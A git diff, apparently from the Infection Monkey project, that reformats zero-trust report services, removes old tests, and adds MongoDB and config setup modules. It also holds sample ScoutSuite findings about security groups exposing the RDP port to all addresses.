- compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'},
- {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'},
- {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'},
- {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'},
- {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'},
- {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}],
- dashboard_name='Rules',
- description='Security Group Opens RDP Port to All',
- flagged_items=7,
- items=[
- 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR',
- 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR',
- 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR',
- 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR',
- 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR',
- 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR',
- 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da'
- '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'],
- level='danger',
- path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR',
- rationale='The security group was found to be exposing a well-known port to all source addresses.'
- ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator '
- 'of sensitive services exposed to Internet. If such services need to be expos',
- references=[],
- remediation='Remove the inbound rules that expose open ports',
- service='EC2'
- )
-]
-
-
-def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails:
- scoutsuite_details = ScoutSuiteFindingDetails()
- scoutsuite_details.scoutsuite_rules.append(RULES[0])
- scoutsuite_details.scoutsuite_rules.append(RULES[1])
- return scoutsuite_details
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py
index 5b69d6ad9..cf65819df 100644
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py
@@ -8,7 +8,9 @@ from common.utils.exceptions import UnknownFindingError
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding
from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import (
+ MonkeyZTDetailsService,
+)
@dataclass
@@ -22,7 +24,6 @@ class EnrichedFinding:
class FindingService:
-
@staticmethod
def get_all_findings_from_db() -> List[Finding]:
return list(Finding.objects)
@@ -39,14 +40,14 @@ class FindingService:
@staticmethod
def _get_enriched_finding(finding: Finding) -> EnrichedFinding:
- test_info = zero_trust_consts.TESTS_MAP[finding['test']]
+ test_info = zero_trust_consts.TESTS_MAP[finding["test"]]
enriched_finding = EnrichedFinding(
- finding_id=str(finding['_id']),
- test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']],
- test_key=finding['test'],
+ finding_id=str(finding["_id"]),
+ test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding["status"]],
+ test_key=finding["test"],
pillars=test_info[zero_trust_consts.PILLARS_KEY],
- status=finding['status'],
- details=None
+ status=finding["status"],
+ details=None,
)
return enriched_finding
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py
index 4f9c067f6..fda738c45 100644
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py
@@ -3,12 +3,13 @@ from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service impo
class PillarService:
-
@staticmethod
def get_pillar_report_data():
- return {"statusesToPillars": PillarService._get_statuses_to_pillars(),
- "pillarsToStatuses": PillarService._get_pillars_to_statuses(),
- "grades": PillarService._get_pillars_grades()}
+ return {
+ "statusesToPillars": PillarService._get_statuses_to_pillars(),
+ "pillarsToStatuses": PillarService._get_pillars_to_statuses(),
+ "grades": PillarService._get_pillars_grades(),
+ }
@staticmethod
def _get_pillars_grades():
@@ -25,7 +26,7 @@ class PillarService:
zero_trust_consts.STATUS_FAILED: 0,
zero_trust_consts.STATUS_VERIFY: 0,
zero_trust_consts.STATUS_PASSED: 0,
- zero_trust_consts.STATUS_UNEXECUTED: 0
+ zero_trust_consts.STATUS_UNEXECUTED: 0,
}
tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar]
@@ -40,7 +41,9 @@ class PillarService:
if pillar in test_info[zero_trust_consts.PILLARS_KEY]:
pillar_grade[finding.status] += 1
- pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(True)
+ pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(
+ True
+ )
return pillar_grade
@@ -50,7 +53,7 @@ class PillarService:
zero_trust_consts.STATUS_FAILED: [],
zero_trust_consts.STATUS_VERIFY: [],
zero_trust_consts.STATUS_PASSED: [],
- zero_trust_consts.STATUS_UNEXECUTED: []
+ zero_trust_consts.STATUS_UNEXECUTED: [],
}
for pillar in zero_trust_consts.PILLARS:
results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar)
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py
index 006cb053e..3fdc4aee1 100644
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py
@@ -3,7 +3,6 @@ from monkey_island.cc.models.zero_trust.finding import Finding
class PrincipleService:
-
@staticmethod
def get_principles_status():
all_principles_statuses = {}
@@ -18,7 +17,7 @@ class PrincipleService:
{
"principle": zero_trust_consts.PRINCIPLES[principle],
"tests": PrincipleService.__get_tests_status(principle_tests),
- "status": PrincipleService.__get_principle_status(principle_tests)
+ "status": PrincipleService.__get_principle_status(principle_tests),
}
)
@@ -29,11 +28,12 @@ class PrincipleService:
worst_status = zero_trust_consts.STATUS_UNEXECUTED
all_statuses = set()
for test in principle_tests:
- all_statuses |= set(Finding.objects(test=test).distinct('status'))
+ all_statuses |= set(Finding.objects(test=test).distinct("status"))
for status in all_statuses:
- if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \
- < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status):
+ if zero_trust_consts.ORDERED_TEST_STATUSES.index(
+ status
+ ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status):
worst_status = status
return worst_status
@@ -45,8 +45,10 @@ class PrincipleService:
test_findings = Finding.objects(test=test)
results.append(
{
- "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY],
- "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings)
+ "test": zero_trust_consts.TESTS_MAP[test][
+ zero_trust_consts.TEST_EXPLANATION_KEY
+ ],
+ "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings),
}
)
return results
@@ -54,14 +56,16 @@ class PrincipleService:
@staticmethod
def __get_lcd_worst_status_for_test(all_findings_for_test):
"""
- :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST}))
+ :param all_findings_for_test: All findings of a specific test (get this using
+ Finding.objects(test={A_TEST}))
:return: the "worst" (i.e. most severe) status out of the given findings.
lcd stands for lowest common denominator.
"""
current_worst_status = zero_trust_consts.STATUS_UNEXECUTED
for finding in all_findings_for_test:
- if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) \
- < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status):
+ if zero_trust_consts.ORDERED_TEST_STATUSES.index(
+ finding.status
+ ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status):
current_worst_status = finding.status
return current_worst_status
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py
deleted file mode 100644
index 917678ed8..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py
+++ /dev/null
@@ -1,57 +0,0 @@
-from common.common_consts import zero_trust_consts
-from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \
- get_scoutsuite_finding_dto
-
-
-def save_example_findings():
- # devices passed = 1
- _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
- zero_trust_consts.STATUS_PASSED)
- # devices passed = 2
- _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
- zero_trust_consts.STATUS_PASSED)
- # devices failed = 1
- _save_finding_with_status('monkey', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS,
- zero_trust_consts.STATUS_FAILED)
- # people verify = 1
- # networks verify = 1
- _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCHEDULED_EXECUTION,
- zero_trust_consts.STATUS_VERIFY)
- # people verify = 2
- # networks verify = 2
- _save_finding_with_status('monkey', zero_trust_consts.TEST_SCHEDULED_EXECUTION,
- zero_trust_consts.STATUS_VERIFY)
- # data failed 1
- _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
- zero_trust_consts.STATUS_FAILED)
- # data failed 2
- _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA,
- zero_trust_consts.STATUS_FAILED)
- # data failed 3
- _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
- zero_trust_consts.STATUS_FAILED)
- # data failed 4
- _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
- zero_trust_consts.STATUS_FAILED)
- # data failed 5
- _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA,
- zero_trust_consts.STATUS_FAILED)
- # data verify 1
- _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
- zero_trust_consts.STATUS_VERIFY)
- # data verify 2
- _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP,
- zero_trust_consts.STATUS_VERIFY)
- # data passed 1
- _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA,
- zero_trust_consts.STATUS_PASSED)
-
-
-def _save_finding_with_status(finding_type: str, test: str, status: str):
- if finding_type == 'scoutsuite':
- finding = get_scoutsuite_finding_dto()
- else:
- finding = get_monkey_finding_dto()
- finding.test = test
- finding.status = status
- finding.save()
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py
deleted file mode 100644
index 9d832e106..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from unittest.mock import MagicMock
-
-import pytest
-
-from common.common_consts.zero_trust_consts import TESTS_MAP, TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \
- DEVICES, NETWORKS, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService
-from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, \
- get_monkey_finding_dto
-from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService, EnrichedFinding
-from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum
-
-
-@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
-def test_get_all_findings():
- get_scoutsuite_finding_dto().save()
- get_monkey_finding_dto().save()
-
- # This method fails due to mongomock not being able to simulate $unset, so don't test details
- MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None)
-
- findings = FindingService.get_all_findings_for_ui()
-
- description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]['finding_explanation'][STATUS_FAILED]
- expected_finding0 = EnrichedFinding(finding_id=findings[0].finding_id,
- pillars=[DEVICES, NETWORKS],
- status=STATUS_FAILED,
- test=description,
- test_key=TEST_SCOUTSUITE_SERVICE_SECURITY,
- details=None)
-
- description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]['finding_explanation'][STATUS_PASSED]
- expected_finding1 = EnrichedFinding(finding_id=findings[1].finding_id,
- pillars=[DEVICES],
- status=STATUS_PASSED,
- test=description,
- test_key=TEST_ENDPOINT_SECURITY_EXISTS,
- details=None)
-
- # Don't test details
- details = []
- for finding in findings:
- details.append(finding.details)
- finding.details = None
-
- assert findings[0] == expected_finding0
- assert findings[1] == expected_finding1
diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py
deleted file mode 100644
index fd2502f59..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py
+++ /dev/null
@@ -1,94 +0,0 @@
-import pytest
-
-from common.common_consts import zero_trust_consts
-from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \
- get_scoutsuite_finding_dto
-from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService
-from monkey_island.cc.test_common.fixtures import FixtureEnum
-
-
-EXPECTED_DICT = {
- 'test_pillar1': [
- {
- "principle": 'Test principle description2',
- "status": zero_trust_consts.STATUS_FAILED,
- "tests": [
- {
- "status": zero_trust_consts.STATUS_PASSED,
- "test": "You ran a test2"
- },
- {
- "status": zero_trust_consts.STATUS_FAILED,
- "test": "You ran a test3"
- }
- ]
- }
- ],
- 'test_pillar2': [
- {
- "principle": "Test principle description",
- "status": zero_trust_consts.STATUS_PASSED,
- "tests": [
- {
- "status": zero_trust_consts.STATUS_PASSED,
- "test": "You ran a test1"
- }
- ]
- },
- {
- "principle": "Test principle description2",
- "status": zero_trust_consts.STATUS_FAILED,
- "tests": [
- {
- "status": zero_trust_consts.STATUS_PASSED,
- "test": "You ran a test2"
- },
- {
- "status": zero_trust_consts.STATUS_FAILED,
- "test": "You ran a test3"
- },
- ]
- }
- ]
-}
-
-
-@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE)
-def test_get_principles_status():
- TEST_PILLAR1 = 'test_pillar1'
- TEST_PILLAR2 = 'test_pillar2'
- zero_trust_consts.PILLARS = (TEST_PILLAR1, TEST_PILLAR2)
-
- principles_to_tests = {'network_policies': ['segmentation'],
- 'endpoint_security': ['tunneling', 'scoutsuite_service_security']}
- zero_trust_consts.PRINCIPLES_TO_TESTS = principles_to_tests
-
- principles_to_pillars = {'network_policies': {'test_pillar2'},
- 'endpoint_security': {'test_pillar1', 'test_pillar2'}}
- zero_trust_consts.PRINCIPLES_TO_PILLARS = principles_to_pillars
-
- principles = {'network_policies': 'Test principle description', 'endpoint_security': 'Test principle description2'}
- zero_trust_consts.PRINCIPLES = principles
-
- tests_map = {'segmentation': {'explanation': 'You ran a test1'},
- 'tunneling': {'explanation': 'You ran a test2'},
- 'scoutsuite_service_security': {'explanation': 'You ran a test3'}}
- zero_trust_consts.TESTS_MAP = tests_map
-
- monkey_finding = get_monkey_finding_dto()
- monkey_finding.test = 'segmentation'
- monkey_finding.save()
-
- monkey_finding = get_monkey_finding_dto()
- monkey_finding.test = 'tunneling'
- monkey_finding.save()
-
- scoutsuite_finding = get_scoutsuite_finding_dto()
- scoutsuite_finding.test = 'scoutsuite_service_security'
- scoutsuite_finding.save()
-
- expected = dict(EXPECTED_DICT) # new mutable
-
- result = PrincipleService.get_principles_status()
-
- assert result == expected
diff --git a/monkey/monkey_island/cc/setup/__init__.py b/monkey/monkey_island/cc/setup/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py
new file mode 100644
index 000000000..3d241b748
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/config_setup.py
@@ -0,0 +1,34 @@
+from typing import Tuple
+
+from common.utils.file_utils import expand_path
+from monkey_island.cc.arg_parser import IslandCmdArgs
+from monkey_island.cc.environment import server_config_handler
+from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH
+from monkey_island.cc.server_utils.file_utils import create_secure_directory
+from monkey_island.cc.setup.island_config_options import IslandConfigOptions
+
+
+def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]:
+ if island_args.server_config_path:
+ return _setup_config_by_cmd_arg(island_args.server_config_path)
+
+ return _setup_default_config()
+
+
+def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]:
+ server_config_path = expand_path(server_config_path)
+ config = server_config_handler.load_server_config_from_file(server_config_path)
+ create_secure_directory(str(config.data_dir))
+ return config, server_config_path
+
+
+def _setup_default_config() -> Tuple[IslandConfigOptions, str]:
+ default_config = server_config_handler.load_server_config_from_file(DEFAULT_SERVER_CONFIG_PATH)
+ default_data_dir = default_config.data_dir
+
+ create_secure_directory(str(default_data_dir))
+
+ server_config_path = server_config_handler.create_default_server_config_file(default_data_dir)
+ config = server_config_handler.load_server_config_from_file(server_config_path)
+
+ return config, server_config_path
diff --git a/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py b/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py
new file mode 100644
index 000000000..c4c37b88d
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/gevent_hub_error_handler.py
@@ -0,0 +1,26 @@
+import traceback
+
+import gevent.hub
+
+
+class GeventHubErrorHandler:
+ """
+ Wraps gevent.hub.Hub's handle_error() method so that the exception can be
+ logged but the traceback can be stored in a separate file. This preserves
+ the default gevent functionality and adds a useful, concise log message to
+ the Monkey Island logs.
+
+ For more information, see
+ https://github.com/guardicore/monkey/issues/859,
+ https://www.gevent.org/api/gevent.hub.html#gevent.hub.Hub.handle_error
+ https://github.com/gevent/gevent/issues/1482
+ """
+
+ def __init__(self, hub: gevent.hub.Hub, logger):
+ self._original_handle_error = hub.handle_error
+ self._logger = logger
+
+ def __call__(self, context, type_, value, tb):
+ exception_msg = traceback.format_exception_only(type_, value)
+ self._logger.warning(f"gevent caught an exception: {exception_msg}")
+ self._original_handle_error(context, type_, value, tb)
diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py
new file mode 100644
index 000000000..66a49306a
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/island_config_options.py
@@ -0,0 +1,33 @@
+from __future__ import annotations
+
+from common.utils.file_utils import expand_path
+from monkey_island.cc.server_utils.consts import (
+ DEFAULT_CERTIFICATE_PATHS,
+ DEFAULT_CRT_PATH,
+ DEFAULT_DATA_DIR,
+ DEFAULT_KEY_PATH,
+ DEFAULT_LOG_LEVEL,
+ DEFAULT_START_MONGO_DB,
+)
+
+
+class IslandConfigOptions:
+ def __init__(self, config_contents: dict):
+ self.data_dir = expand_path(config_contents.get("data_dir", DEFAULT_DATA_DIR))
+
+ self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL)
+
+ self.start_mongodb = config_contents.get(
+ "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB}
+ ).get("start_mongodb", DEFAULT_START_MONGO_DB)
+
+ self.crt_path = expand_path(
+ config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get(
+ "ssl_certificate_file", DEFAULT_CRT_PATH
+ )
+ )
+ self.key_path = expand_path(
+ config_contents.get("ssl_certificate", DEFAULT_CERTIFICATE_PATHS).get(
+ "ssl_certificate_key_file", DEFAULT_KEY_PATH
+ )
+ )
diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py
new file mode 100644
index 000000000..032eeb2e2
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py
@@ -0,0 +1,13 @@
+import os
+
+from monkey_island.cc.setup.island_config_options import IslandConfigOptions
+
+
+def raise_on_invalid_options(options: IslandConfigOptions):
+ _raise_if_not_isfile(options.crt_path)
+ _raise_if_not_isfile(options.key_path)
+
+
+def _raise_if_not_isfile(f: str):
+ if not os.path.isfile(f):
+ raise FileNotFoundError(f"{f} does not exist or is not a regular file.")
diff --git a/monkey/monkey_island/cc/setup/mongo/__init__.py b/monkey/monkey_island/cc/setup/mongo/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py
similarity index 57%
rename from monkey/monkey_island/cc/setup.py
rename to monkey/monkey_island/cc/setup/mongo/database_initializer.py
index 213a62e6b..34914c7ce 100644
--- a/monkey/monkey_island/cc/setup.py
+++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py
@@ -9,34 +9,43 @@ from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterfa
logger = logging.getLogger(__name__)
-def setup():
+def init_collections():
logger.info("Setting up the Monkey Island, this might take a while...")
- try_store_mitigations_on_mongo()
+ _try_store_mitigations_on_mongo()
-def try_store_mitigations_on_mongo():
+def _try_store_mitigations_on_mongo():
mitigation_collection_name = AttackMitigations.COLLECTION_NAME
try:
mongo.db.validate_collection(mitigation_collection_name)
if mongo.db.attack_mitigations.count() == 0:
- raise errors.OperationFailure("Mitigation collection empty. Try dropping the collection and running again")
+ raise errors.OperationFailure(
+ "Mitigation collection empty. Try dropping the collection and running again"
+ )
except errors.OperationFailure:
try:
mongo.db.create_collection(mitigation_collection_name)
except errors.CollectionInvalid:
pass
finally:
- store_mitigations_on_mongo()
+ _store_mitigations_on_mongo()
-def store_mitigations_on_mongo():
+def _store_mitigations_on_mongo():
stix2_mitigations = MitreApiInterface.get_all_mitigations()
- mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(MitreApiInterface.get_all_attack_techniques())
- mitigation_technique_relationships = MitreApiInterface.get_technique_and_mitigation_relationships()
+ mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(
+ MitreApiInterface.get_all_attack_techniques()
+ )
+ mitigation_technique_relationships = (
+ MitreApiInterface.get_technique_and_mitigation_relationships()
+ )
for relationship in mitigation_technique_relationships:
- mongo_mitigations[relationship['target_ref']].add_mitigation(stix2_mitigations[relationship['source_ref']])
+ mongo_mitigations[relationship["target_ref"]].add_mitigation(
+ stix2_mitigations[relationship["source_ref"]]
+ )
for relationship in mitigation_technique_relationships:
- mongo_mitigations[relationship['target_ref']].\
- add_no_mitigations_info(stix2_mitigations[relationship['source_ref']])
+ mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info(
+ stix2_mitigations[relationship["source_ref"]]
+ )
for key, mongo_object in mongo_mitigations.items():
mongo_object.save()
diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_connector.py b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py
new file mode 100644
index 000000000..aebbb0843
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/mongo/mongo_connector.py
@@ -0,0 +1,9 @@
+from mongoengine import connect
+
+MONGO_DB_NAME = "monkeyisland"
+MONGO_DB_HOST = "localhost"
+MONGO_DB_PORT = 27017
+
+
+def connect_dal_to_mongodb(db=MONGO_DB_NAME, host=MONGO_DB_HOST, port=MONGO_DB_PORT):
+ connect(db=db, host=host, port=port)
diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py
new file mode 100644
index 000000000..db3f5c0ca
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py
@@ -0,0 +1,59 @@
+import logging
+import subprocess
+
+from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH
+
+logger = logging.getLogger(__name__)
+
+DB_DIR_PARAM = "--dbpath"
+TERMINATE_TIMEOUT = 10
+
+
+class MongoDbProcess:
+ def __init__(self, db_dir: str, log_file: str):
+ """
+ @param db_dir: Path where a folder for database contents will be created
+ @param log_file: Path to the file that will contain mongodb logs
+ """
+ self._mongo_run_cmd = [MONGO_EXECUTABLE_PATH, DB_DIR_PARAM, db_dir]
+ self._log_file = log_file
+ self._process = None
+
+ def start(self):
+ logger.info("Starting MongoDB process.")
+ logger.debug(f"MongoDB will be launched with command: {' '.join(self._mongo_run_cmd)}.")
+ logger.info(f"MongoDB log will be available at {self._log_file}.")
+
+ with open(self._log_file, "w") as log:
+ self._process = subprocess.Popen(
+ self._mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log
+ )
+
+ logger.info("MongoDB has been launched!")
+
+ def stop(self):
+ if not self._process:
+ logger.warning("Failed to stop MongoDB process: No process found")
+ return
+
+ logger.info("Terminating MongoDB process")
+ self._process.terminate()
+
+ try:
+ self._process.wait(timeout=TERMINATE_TIMEOUT)
+ logger.info("MongoDB process terminated successfully")
+ except subprocess.TimeoutExpired as te:
+ logger.warning(
+ f"MongoDB did not terminate gracefully and will be forcefully killed: {te}"
+ )
+ self._process.kill()
+
+ def is_running(self) -> bool:
+ if self._process.poll() is None:
+ return True
+
+ return False
+
+ @property
+ def log_file(self) -> str:
+ return self._log_file
diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py
new file mode 100644
index 000000000..196ad54bf
--- /dev/null
+++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py
@@ -0,0 +1,85 @@
+import atexit
+import logging
+import os
+import time
+from pathlib import Path
+
+from monkey_island.cc.database import get_db_version, is_db_server_up
+from monkey_island.cc.server_utils.file_utils import create_secure_directory
+from monkey_island.cc.setup.mongo import mongo_connector
+from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT
+from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess
+
+DB_DIR_NAME = "db"
+MONGO_LOG_FILENAME = "mongodb.log"
+MONGO_URL = os.environ.get(
+ "MONKEY_MONGO_URL",
+ "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME),
+)
+MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
+
+logger = logging.getLogger(__name__)
+
+
+def start_mongodb(data_dir: Path) -> MongoDbProcess:
+ db_dir = _create_db_dir(data_dir)
+ log_file = os.path.join(data_dir, MONGO_LOG_FILENAME)
+
+ mongo_db_process = MongoDbProcess(db_dir=db_dir, log_file=log_file)
+ mongo_db_process.start()
+
+ return mongo_db_process
+
+
+def _create_db_dir(db_dir_parent_path) -> str:
+ db_dir = os.path.join(db_dir_parent_path, DB_DIR_NAME)
+ logger.info(f"Database content directory: {db_dir}.")
+
+ create_secure_directory(db_dir)
+ return db_dir
+
+
+def register_mongo_shutdown_callback(mongo_db_process: MongoDbProcess):
+ atexit.register(mongo_db_process.stop)
+
+
+def connect_to_mongodb(timeout: float):
+ _wait_for_mongo_db_server(MONGO_URL, timeout)
+ _assert_mongo_db_version(MONGO_URL)
+ mongo_connector.connect_dal_to_mongodb()
+
+
+def _wait_for_mongo_db_server(mongo_url, timeout):
+ start_time = time.time()
+
+ while not is_db_server_up(mongo_url):
+ logger.info(f"Waiting for MongoDB server on {mongo_url}")
+
+ if (time.time() - start_time) > timeout:
+ raise MongoDBTimeOutError(f"Failed to connect to MongoDB after {timeout} seconds.")
+
+ time.sleep(1)
+
+
+def _assert_mongo_db_version(mongo_url):
+ """
+ Checks if the mongodb version is new enough for running the app.
+ If the DB is too old, quits.
+ :param mongo_url: URL to the mongo the Island will use
+ """
+ required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split("."))
+ server_version = get_db_version(mongo_url)
+ if server_version < required_version:
+ raise MongoDBVersionError(
+ f"Mongo DB version too old. {required_version} is required, but got {server_version}."
+ )
+ else:
+ logger.info(f"Mongo DB version OK. Got {server_version}")
+
+
+class MongoDBTimeOutError(Exception):
+ pass
+
+
+class MongoDBVersionError(Exception):
+ pass
diff --git a/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py b/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py
deleted file mode 100644
index ddbff3118..000000000
--- a/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py
+++ /dev/null
@@ -1,41 +0,0 @@
-# Username:test Password:test
-CONFIG_WITH_CREDENTIALS = {
- "server_config": "password",
- "deployment": "develop",
- "user": "test",
